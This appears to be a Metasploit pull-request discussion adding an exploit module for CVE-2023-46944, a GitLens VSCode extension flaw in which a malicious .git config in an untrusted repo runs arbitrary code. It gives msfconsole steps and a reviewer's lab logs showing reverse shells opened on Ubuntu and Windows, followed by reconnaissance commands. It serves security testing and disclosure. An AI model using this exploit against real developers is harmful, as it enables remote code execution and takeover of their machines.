GitLens (VSCode Extension) exploit module (cve-2023-46944)

[h00die]

GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git
commands. A repo may include its own .git folder including a malicious config file to
execute arbitrary code.

Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10

Verification

• Install the extension
• Start msfconsole
• Do: use exploit/multi/fileformat/gitlens_local_config_exec
• Do: run
• Unzip the repo
• Open the folder in Visual Studio Code
• When prompted, select "No, I don't trust the authors"
• Open the README.md file and put the cursor on the first line.
• You should get a shell.

[jheysel-r7]

Another great module, thanks @h00die. Testing was as expected.

VSCode 1.87.2 on Ubuntu 22.04 with GitLens 13.6.0 installed

msf6 exploit(multi/fileformat/gitlens_local_config_exec) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[+] repo.zip stored at /Users/jheysel/.msf4/local/repo.zip
[*] Waiting for shell
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.131:57296) at 2024-04-17 09:04:16 -0700

id
uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
sysinfo
sh: 4: sysinfo: not found
uname -a
Linux msfuser-virtual-machine 6.2.0-35-generic #35~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Oct  6 10:23:26 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 172.16.199.131 - Command shell session 1 closed.

VSCode 1.87.2 on Windows 10 Pro with GitLens 13.6.0 installed

msf6 exploit(multi/fileformat/gitlens_local_config_exec) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[+] repo.zip stored at /Users/jheysel/.msf4/local/repo.zip
[*] Waiting for shell
[*] Sending stage (336 bytes) to 172.16.199.135
[*] Command shell session 2 opened (172.16.199.1:4444 -> 172.16.199.135:50197) at 2024-04-17 10:32:59 -0700


Shell Banner:
Microsoft Windows [Version 10.0.19045.2965]
-----


C:\Users\msfuser>

C:\Users\msfuser>whoami
whoami
desktop-n3oru31\msfuser

C:\Users\msfuser>systeminfo
systeminfo

Host Name:                 DESKTOP-N3ORU31
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19045 N/A Build 19045
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User

[jheysel-r7]

Release Notes

This adds a FileFormat exploit for VSCode. The VSCode extension GitLens by GitKraken before v.14.0.0 allows an untrusted workspace to execute git commands. A repo may include its own .git folder including a malicious config file to execute arbitrary code.